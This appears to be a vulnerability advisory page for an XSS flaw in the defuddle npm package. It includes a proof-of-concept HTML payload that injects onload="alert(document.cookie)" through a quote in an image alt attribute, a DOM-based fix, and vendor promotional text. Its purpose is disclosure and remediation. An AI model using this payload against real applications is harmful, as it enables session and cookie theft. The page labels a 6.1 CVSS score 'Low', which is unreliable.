Summary
defuddle vulnerable to XSS via unescaped string interpolation in _findContentBySchemaText image tag
The _findContentBySchemaText method in src/defuddle.ts interpolates image src and alt attributes directly into an HTML string without escaping:
html += `<img src="${imageSrc}" alt="${imageAlt}">`;
An attacker can use a " in the alt attribute to break out of the attribute context and inject event handlers. This is a separate vulnerability from the sanitization bypass fixed in f154cb7, the injection happens during string construction, not in the DOM, so _stripUnsafeElements cannot catch it.
Details
When _findContentBySchemaText finds a sibling image outside the matched content element, it reads the image's src and alt attributes via getAttribute() and interpolates them into a template literal. getAttribute('alt') returns the raw attribute value. If the alt contains ", it terminates the alt attribute in the interpolated HTML string, and subsequent content becomes new attributes (including event handlers).
The recently added _stripUnsafeElements() (commit f154cb7) strips on* attributes from DOM elements, but the alt attribute's name is alt (not on*), so it is preserved with its full value. The onload handler is created by the string interpolation, not present in the original DOM.
PoC
Input HTML:
<!DOCTYPE html>
<html>
<head>
<title>PoC</title>
<script type="application/ld+json">
{"@type": "Article", "text": "Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count."}
</script>
</head>
<body>
<article><p>Short.</p></article>
<div class="post-container">
<p>Extra text to inflate parent word count padding padding padding.</p>
<div class="post-body">
Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count. Long article text repeated many times to exceed the extracted content word count.
</div>
<img width="800" height="600" src="https://example.com/photo.jpg" alt='pwned" onload="alert(document.cookie)'>
</div>
</body>
</html>
Output:
<img src="https://example.com/photo.jpg" alt="pwned" onload="alert(document.cookie)">
The onload event handler is injected as a separate HTML attribute.
Impact
XSS in any application that renders defuddle's HTML output (browser extensions, web clippers, reader modes). The attack requires crafted HTML with schema.org structured data that triggers the _findContentBySchemaText fallback, combined with a sibling image whose alt attribute contains a quote character followed by an event handler.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-30830 has a CVSS score of 6.1 (Low). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Use DOM API instead of string interpolation:
if (imageSrc) {
const img = this.doc.createElement('img');
img.setAttribute('src', imageSrc);
img.setAttribute('alt', imageAlt);
html += img.outerHTML;
}
This ensures attribute values are properly escaped by the DOM serializer.
Frequently Asked Questions
- What is CVE-2026-30830? CVE-2026-30830 is a low-severity cross-site scripting (XSS) vulnerability in defuddle (npm), affecting versions <= 0.7.0. It is fixed in 0.9.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-30830? CVE-2026-30830 has a CVSS score of 6.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of defuddle are affected by CVE-2026-30830? defuddle (npm) versions <= 0.7.0 is affected.
- Is there a fix for CVE-2026-30830? Yes. CVE-2026-30830 is fixed in 0.9.0. Upgrade to this version or later.
- Is CVE-2026-30830 exploitable, and should I be worried? Whether CVE-2026-30830 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-30830 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-30830? Upgrade
defuddleto 0.9.0 or later.